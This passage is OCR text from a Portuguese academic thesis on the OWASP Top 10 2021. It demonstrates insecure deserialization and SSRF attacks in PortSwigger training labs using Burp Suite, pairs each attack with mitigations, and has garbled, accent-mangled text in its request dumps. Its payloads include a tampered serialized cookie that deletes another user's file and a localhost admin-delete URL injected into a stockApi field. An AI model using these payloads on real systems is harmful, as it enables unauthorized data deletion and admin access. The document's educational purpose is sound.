2
4
H
el

9 Cookie: PHPSESSID=d3dpla0e3ibelglakeouauhdel; security=low
10 Upgrade-Insecure-Requests: 1 SQL Injection
! SQL Injection (Blind) |

Weak Session IDs

XSS (DOM) |

More Information

Fonte: Autor.
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3.7.3 Mitigacao

PORTSWIGGER (2022) recomenda:

e Nao transmitir dados confidenciais ndo seguros por protocolos inseguros, como H17TP;

e Politicas de senhas seguras: Induzir os usuarios a usarem senhas consideradas fortes,
com quantidade minima de caracteres ¢ mesclando com letras maitsculas, minasculas,
numeros e caracteres especiais.

e O uso de bibliotecas que retornem para o usuario o feedback imediato do nivel de
seguranga das credenciais que ele estd tentando usar;

e Impedir que informagdes do usudrio sejam publicas: Dependendo do contexto da
aplicacdo, para um invasor pode ser 1til saber determinados dados dos usuarios;

e Bloqueio de consumo de recursos: Limitar o consumo de recursos ¢ uma das maneiras
mais eficientes de evitar ataques de forca bruta, pois ele requer tentativas em excesso e
limita-las pode inviabilizar esse tipo de ataque. Medidas como bloqueio de /P ou
CAPTCHA sao eficazes neste caso.

e Nio centralizar os esfor¢os de seguranga apenas nos mecanismos centrais de
autenticacdo, como o /login, de uma aplicagdo. Mecanismos como redefini¢do ou
recuperagdo de senhas sdo igualmente importantes;

e Uso de MFA: Mecanismos de autenticagdo multifator também devem ser seguros,
recomenda-se o uso de aplicativos ou dispositivos dedicados para esta fungao.

OWASP CHEAT SHEET SERIES (2021) complementa:

e Os canais de autenticagdo para usuarios de niveis de privilégios mais elevados nao
devem ser os mesmos dos usudrios comuns e também ndo deve usar a mesma
tecnologia;

e Naio barrar o uso de caracteres, deve ser possivel usar inclusive caracteres Unicode,
impor regras que diminuem a complexidade das credenciais de acesso facilita um
possivel ataque;

e Sugerir ao usudrio trocas constantes de credenciais de acesso;

e Para aplicagdes que requerem maior nivel de seguranga ¢ recomendavel que haja uma
verificagdo de autenticacdo 7LS, principalmente nos cenarios em que o usuario so tem
acesso a determinados recursos em um unico dispositivo por vez, a aplicagdo exige
mais etapas de seguranga ou para a intranet de empresas.

Para IMMUNIWEB (2022) deve-se implementar sempre as medidas de seguranga em
server-side, confiar somente nas medidas client-side ¢ uma vulnerabilidade de seguranca, nao
significando que ndo possam haver, mas ndo devem ser a ultima, inica ou principal barreira.
Medidas client-side devem funcionar como uma comodidade ao usuario.

3.8 A08:2021 — FALHAS DE SOFTWARE E DE INTEGRIDADE DE DADOS

Oitava vulnerabilidade do OWASP TOP 10 2021.
3.8.1 Descricao

Esta nova categoria de vulnerabilidade engloba os varios riscos relacionados a nao
verificagdo da integridade dos dados usados por uma aplicagdo Web, incluindo atualiza¢des de
codigos através de fontes e/ou processos inseguros, ou mesmo a codificagdo ou serializacao

dos dados sdo feitos em uma estrutura ou ambiente que um invasor possa ter acesso a
visualizar e modificar.



Exemplos disso sdo aplicagdes seguras, mas que dependem de codigos ou aplicagdes
externas (como plugins ou bibliotecas) que sdo provenientes de fontes ndo confidveis,
tornando assim a aplicagdo também ndo confidvel, haja visto que em alguns cendrios os
autores desses codigos podem valer-se de pipelines de CI/CD para obter informagdes ou até
mesmo o controle do sistema, com a possibilidade de inje¢cdes de codigos maliciosos no
produto. Outra possibilidade prevista pela OWASP 2021 e herdada da lista OWASP Top 10:
2017 ¢é a desserializacdo insegura, que ocorre quando objetos sofrem o processo inverso de
serializagao, podendo revelar informacgdes sensiveis que geralmente sdo passadas nas
requisicoes.

3.8.2 Demonstracio

Para esta vulnerabilidade sera testada a desserializacdo de informacdes, através do
laboratério da PORTSWIGGER (2022) com auxilio da ferramenta Burp.

A tela inicial do laboratério é uma pagina que simula um Blog, sendo possivel fazer
cadastro e /ogin no sistema. Apds fazer /ogin com as credenciais fornecidas, o site redireciona
para uma tela de atualizacdo de informagdes da conta.

Ao ativar o Proxy Intercept no Burp e selecionar a opgdo “Delete account” pode-se
ver o resultado mostrado na Figura 17.

Figura 17 — Interceptagdo da requisi¢do de Delete Account
Forward Drop Action Open Browser

Raw Hex n =
ol ount/delete HITP/L.1
91037

3 01 TWIT) ZX02X3 BvasVul jea0 iy 0 i JphXil Tip oe GV enBz A shi V2NnF 1V2 1 xaDEnbWIpdS I7ezoxMTo i TXZhd

w:105.0) Cecko/20l00101 Firefox/105.0
aml;g=0.9,image/avit, image/webp,*/*;q=0.8

a0£009103792=41c02 £0bIL001400a2 . web-security-acadsuy. net
0379ee41c02£0h91001400a7 web-security-acadeny. net /my-account

Fonte: Autor.

E visivel que o Cookie: session é um objeto serializado, entdio mandando essa
requisicdo para o Repeater antes de aceita-la, ver-se ao selecionar o texto serializado o
resultado mostrado na Figura 18.

Figura 18 — Burp decodificagao

1 POST smy—accounc/delece HTTPS1 1
2 £0 S==4lcOf£0LS1001400aZ. web—sscurity-acadsmy. nst

GEINVEEXIuYW1llIic=03YEIndpEWs leiITezoxd o LYW Z
iTpbHI LY WpocGVenE=dGSshiVaNnFiY2 1l xabBnbWapdST Tes
=i0SMEMTEE InV=2HI=L3dpZWsleiShdnFOYHIioS0% 3d

= MT 10.D; Wins4; =54; »w:105.0)

T
AGSshIVoNmMFi¥=1xaDEnbWEpdSITozoxTol
THZRAGF¥H2xpbmsi03MEMTES InVaZXIzL3dp
ZWSlciShdmFOYHILio=20

Decoded from:  URL encoding ~ =)

T=eD0ilVelVWylies0nts0d gt InVaZHIuYWll
I9E=0IFEInAPZWELeiT 7oz oy oL VWY ZXI=

Fonte: Autor.
Automaticamente o Burp detecta e mostra na forma decodificada o que esta por trés
do Cookie, que ¢ o seguinte objeto:
o (:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access _token";s:32:"imsuajhpevza
3toln5v6abemghOgmfiu";s: 11:"avatar link";s:19:"users/wiener/avatar",}



Simulando um ataque, pode-se alterar os dados que serdo deletados nessa requisicao,
ao modificar o objeto para:

o (:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access _token";s:32:"imsuajhpevza
3toln5v6abemghOgmfiu";s:11:"avatar link";s:23:"/home/carlos/morale.txt";}

E serializando para base64 e enviando a requisi¢do alterada. Ao envid-la além da
conta excluida um arquivo referente a conta de outro usudrio também ¢ apagado, e poderiam
ser excluidas mais informagdes importantes. Neste laboratorio ndo ha uma resposta visual,
dentro do sistema do Blog, de que arquivo morales.txt que foi apagado, mas o laboratorio
confirma que essa exclusdo ocorreu marcando a 7ask como concluida.

3.8.3 Mitigacao

OWASP (2021) sugere como medidas preventivas:

e Usar assinaturas digitais dos softwares e tecnologias associadas a aplicagdo como
garantia de que pertencem a fonte esperada. E recomendavel que as equipes de
desenvolvimento adotem medidas que automatizam a assinatura de cddigo,
criptografia, autenticagdo, entre outras.

e Garantir que as dependéncias e bibliotecas usem repositorios confidveis;

e Implementar verificagdes automatizadas que analisam se os componentes usados,
principalmente os de fonte externas, possuem vulnerabilidades conhecidas;

e Implementar processos de revisdo de alteracdes nos codigos ou configuragdes, que
possam ter sido inseridos de maneira automatica através de pipeline de CI/CD. Essa
pratica ajuda a restringir o impacto causa pela introducdo de cddigo malicioso via
pipelines;

e Garantir os pipelines de CI/CD possuam separagdo dos mecanismos de controle de
acesso e de configuragdes;

e (Garantir que dados que ndo estejam assinados e/ou criptografados ndo cheguem aos
clientes ou acessem recursos ndo confiaveis;

3.9 A09: 2021 — FALHAS DE REGISTRO E MONITORAMENTO DE SEGURANCA
Nona vulnerabilidade do OWASP TOP 10 2021.
3.9.1 Descricio

Por vezes até sistemas relativamente seguros sdo vitimas de invasodes, isto pode
ocorrer devido a diversos fatores, que podem ser falha humana, vulnerabilidades recém
descobertas, dentre outras causas. Tendo isto em vista, ¢ importante que ocorra o
monitoramento eficiente das atividades executadas pelos clientes ou no servidor, pois em um
cenario de uma intrusao bem sucedida ¢ crucial entender as acdes realizadas pelo invasor para
obter éxito no ataque e quais foram seus alvos. Dessa maneira, ¢ possivel preparar
contramedidas e tentar reverter a0 maximo os impactos causados durante o ataque, além de
permitir que investigacdes sejam feitas e buscar encontrar, por vias legais, o invasor. Outro
beneficio desta medida de seguranga ¢ entender o funcionamento do ataque sofrido e preparar
o sistema para que ele ndo seja, outra vez, afetado pelo mesmo tipo de ataque.

Diferentemente das demais categorias de vulnerabilidades apresentadas neste trabalho,
esta encontra-se no ranking OWASP TOP 10 2021 nao por ser um canal de exploragdo para
infectar aplicacdes web, mas por dificultar que medidas cabiveis sejam tomadas para
contornar os ataques sofridos. Segundo a OWASP (2021) as principais situagdes de falhas de
registro € monitoramento de seguranga ocorrem quando:



3.9.2

Nao hé o registro de eventos importantes como login, ou tentativas de login;
Logs de erros insuficientes ou inexistentes;

Logs de APIs nao monitorados na existéncia de atividades suspeitas;
Armazenamento inseguro dos Logs;

Teste automatizados de intrusdo ou varredura ndo ativam alertas adequados;
A aplicagdo ndo detecta e alerta em tempo real invasdes ou tentativas.

Demonstracao

Para esta categoria de vulnerabilidade, voltada para as contramedidas aos ataques

sofridos e ndo para as ineficiéncias de um sistema que permite invasdes, dispensa-se a
necessidade de laboratorio especifico para ela. Os laboratorios apresentados nas outras
categorias deste trabalho a englobam, pois eles ndo geram relatorios dos sistemas invadidos,
possuindo assim ineficacia nos registros de segurangas.

3.9.3

3.10

Mitigacao

IMMUNIWEB (2022) sugere:

Pentest: Realizar ataques controlados que simulam um cendrio real de tentativa de
invasdo, € necessario que o sistema gere relatorios que indiquem a extensao dos danos
causados, caso contrdrio o registro e monitoramento de seguranca deste sistema ¢ falho
e precisa ser melhorado;

Implementar o uso de softwares para andlise dos logs gerados, que diferenciam
eficientemente os possiveis ataques de falsos positivos e anomalias benignas;

Nao depender exclusivamente de uma Unica ferramenta de monitoramento e registro,
pois ela pode ndo detectar uma ameaca, mas isso ndo quer dizer que elas nao existem,
apenas que esse sistema de monitoramento € ineficiente para detecta-la;
Armazenamento e acesso seguro dos logs: ¢ importante que os logs sejam acessiveis
somente a quem realmente interessa, usuarios desnecessarios nao podem ver, editar ou
danificar esses registros. Contudo essa ¢ uma etapa que requer bastante atengdo, pois
solucdes de criptografia, por exemplo, podem garantir a seguranca dos logs centrais,
mas podem atrasar a equipe a prepararem contramedidas quando ataques reais
ocorrerem,;

Os logs devem ser facilmente acessados pelo sistema central de detec¢do de
anomalias, caso uma invasdo ocorra com sucesso € ndo seja detectada no ato da
entrada no sistema, o invasor deve ser detectado dentro do sistema através de suas
acOes maliciosas.

OWASP (2021) complementa:

O sistema deve registrar todos os logins e tentativas de logins;

Manter backups dos logs;

Garantir boa formatacao dos /ogs.

A10: 2021 — FALSIFICACAO DE SOLICITACAO DO LADO DO SERVIDOR

Décima vulnerabilidade do OWASP TOP 10 2021.

3.10.1 Descricao

A Falsificagdo de solicitagdo do lado do servidor, ou Server-side request forgery

(SSRF), ¢ uma vulnerabilidade que permite a um atacante realizar requisi¢des através de um



servidor por meio de uma falha de seguranca. Dessa forma o invasor consegue controlar
novas requisicoes livremente, contudo, essas requisicdes ficaram registradas com as
informagdes do servidor que as efetuou, pois apesar de estarem sendo orquestradas pelo
cliente, ndo ¢ ele que as executa, mas as vitimas seriam levadas a acreditar que os
organizadores do ataque seriam os responsaveis pelo servidor da aplicacdo vulneravel.

Essa vulnerabilidade também pode ser explorada para atacar redes internas. Para os
ataques dentro de uma rede privada, o invasor pode valer-se dos privilégios que o servidor
possui dentro daquela rede para comunicar-se com bancos de dados, outros servidores
conectados na mesma rede ou mesmo com o firewall. Através da manipulacdo SSRF o invasor
pode realizar ataques como o by-pass de whitelists, ignorar servigos de host-based
authentication, execugdo remota de codigos maliciosos, descobrir o real /P de maquinas que
funcionam atrds de um proxy reverso, dentre outras formas de ataque.

3.10.2 Demonstrac¢ao

Para esta demonstracdo usou-se um laboratério PORTSWIGGER (2022) com auxilio
da ferramenta Burp.

O cenario proposto € um e-commerce que possui uma area administrativa que ¢
possivel de ser acessada adicionando /admin ao final da URL. Contudo, essa area ¢ restrita e
somente ¢ possivel de ser utilizada preenchendo as credenciais de administrador do sistema,
ou acessando conectado na rede local do servidor ao qual a aplicagdo estd hospedada.

Mas, ao checar a disponibilidade de um produto, fungdo disponivel para todos os
usuarios, e interceptar a requisi¢do com o Burp, € possivel verificar um campo destinado a
uma API, como demonstrado na figura 19.

figura 19

£ 0 Requestto net443 [34.246.129.62]
Forward Drap Action Open Browser
Raw  Hex

1 POST /product/stock HTTR/1.1
2 Host: 0a6e000a04f2660c10a843500d80019 . web-security-acadeny. net

S Cookie: session=R92nMVdOSOaLvuAygTEQFGLNCEYEI0F2

4 Content-Length: 107

S Sec-Ch-Ua: "Not7A_Brand”;jv="8", "Chromium";v="108"

5 Sec-ch-Ua-Platform: "Linux®

7 Sec-Ch-Ua-Mobile: 70

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWsbKit/S37.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
9 Content-Type: application/x-www-form-urlencoded
10 Accept: #/%
11 Origin: https:/ f2fE60c1 9.web-security-acadeny.net
12 Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer; https://0a5:000a04f2f660010a643500480019 web- security-acadeny . net /product Zproduct Id=1
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt:g=0.9,en-US;q=0.8,en:g=0.7

Connection: close

20 stockApi=http://stock weliketoshop net:8080/product /stock/check Zproduct Td=16storeId=1

Fonte: Autor.

Essa chave API recebe como pardmetro uma URL, sendo possivel alterd-la para
http.//localhost/. Ao fazer essa manipulacdo, ¢ liberado acesso ao painel administrativo, pois
o parametro alterado faz com que sistema "acredite" que o usudrio esta conectado na rede
local.

Contudo, o painel ndo ¢ acessivel via interface grafica, mas manipulando-se as
requisi¢oes € possivel executar os comandos administrativos, como apagar um usuario do
sistema, adicionando, por exemplo, /htip://localhost/admin/delete’username=carlos no
campo de stockApi, como ¢ possivel verificar na figura 20.

Figura 20


http://localhost/
http://localhost/admin/delete?username=carlos

Fonte: Autor.

Request Response
Raw Hex [= Raw Hex W=

1 POST /product/stock HTTP/1.1 1 HTTP/1.1 302 Found
2 Host: 2f660c1 9.weh-security-academy . net 2 Location: /admin
S Cookie: session=R92nMVdOSOalvulygIEQFGLNCEYE9Qfz 3 Set-Cookie: session=w7WHUCJLvWZpa7dRZkpFOPT]qlz7SokU; Secure;
4 Content-Length: 54 Httponly: SameSite=Mone
5 Sec-Ch-Ua: "Not?A Brand®;v="8", "Chromium";v="108" 4 Connection: close
5 Sec-Ch-Ua-Platform: "Linux" S Content-Length: O
7 Sec-Ch-Ua-Mobile: 70 &
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinGd; x&d) 71

ApplewebKit /537,36 (KHTML, like Gecko) Chrome/108.0.5359.95

Safari/537.36
o Content-Type: application/x-www-form-urlencoded
10 Accept: */
11 Origin:

https:/ 2f660c10a84: 180019, web-security-acadeny  net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer:

https:/ 2f660c1 180019.web-security-acadeny . net/pr

oduct PproductId=1
16 Accept-Encoding: gzip, deflate
17 Accept-Language: pt-BR,pt:o=0.9,en-US;0=0.8,en;q=0.7
18 Connection: close

20 stockApi=http://localhost/admin/delete?usernane=carlos

3.10.3 Mitigacao

Dentre as solucdes preventivas, OWASP (2021) sugere:
e Na camada de rede:

(0]

(0]
(0]

Segmentagdo do acesso a recursos remotamente: o acesso a determinados
recursos de maneiras remota deve passar por diferentes camadas da rede da
aplicacao;

Trafego ndo critico deve passar pela regra de negar por padrao;

Estabelecer as prioridades e o ciclo de vida das regras de firewall,

e Na camada de aplicagdo:

(0]

0
(0)
(¢}

Higienizagdo de todas as entradas do usuario;

Aplicacdo de esquemas de URL seguras;

Desativar redirecionamentos HTTP;

Tratar as respostas enviadas aos clientes, para evitar que haja confirmacao de
sucesso nas tentativas de uma invasao.

Complementarmente, ACUNETIX (2022) recomenda:

e Estabelecer listas de permissdes de DNS: E uma das maneiras mais eficazes de garantir
que o servidor faca requisicdes somente para os destinos esperados;

e Desativar o uso de protocolos nao utilizados na aplicagdo: Ao desativar o uso de
protocolos ndo necessarios para o funcionamento da aplicagdo evita-se que um invasor
possa valer-se disso para tentar ataques usando protocolos potencialmente danosos,
como file:/// , dict:// , fip:// € gopher://;

e Autenticacdo para uso de servicos internos: muitos servigos internos ndo requerem uso
de autenticacdo para seu funcionamento, facilitando que um invasor que faca uso de
SSRF consiga acessa-los.

4 CONSIDERACOES FINAIS

O tema abordado neste trabalho pode ser de grande interesse ndo apenas para a
comunidade académica, mas também para os profissionais da darea de tecnologia da

informacao,

pois oferece um norte inicial das vulnerabilidades mais perigosas e suas

respectivas mitigagdes. Dessa forma o ajuda em um desenvolvimento seguro, que considera a
seguranga um fator fundamental, além de que terd o maximo de atencdo e esforcos

necessarios.

Ao analisar-se os laboratorios realizados em cada uma das vulnerabilidades
observou-se os riscos associados a elas. As técnicas empregadas, quando obtém éxito no



ataque, comprometem pelo menos um dos pilares da seguranga da informagao, pois adquirem
acesso a recursos ¢ dados indevidamente, comprometem a integridade da informagdo ou
indisponibilizam que os usudrios legitimos acessem seus dados.

Outro fator observado ¢ a cadeia de ataques que se valem de diferentes
vulnerabilidades associadas a uma aplicagdo, mostrando que elas podem ser exploradas
coletivamente. Por exemplo, o caso da vulnerabilidade de Falhas Criptograficas que precisou
do uso de Injecdo SQL para obter sucesso no ataque. Além disso, outros fatores que
favorecem esse sucesso sdo engenharia social e vazamentos internos.

Através dos resultados obtidos neste trabalho observou-se a necessidade, e sugere-se
que ocorra um amplo processo de design de seguranca no desenvolvimento de aplicagdes, que
contemple os mais variados cendrios, independentemente da probabilidade de exploragdo, e
que leve em consideragdo situagdes onde as vulnerabilidades serdo exploradas em conjunto,
haja visto que em diversas circunstiancias essas vulnerabilidades ndo podem ser usadas
isoladamente ou ndo vao causar grande impacto, mas quando combinadas podem trazer
prejuizos que por vezes sao irreparaveis.
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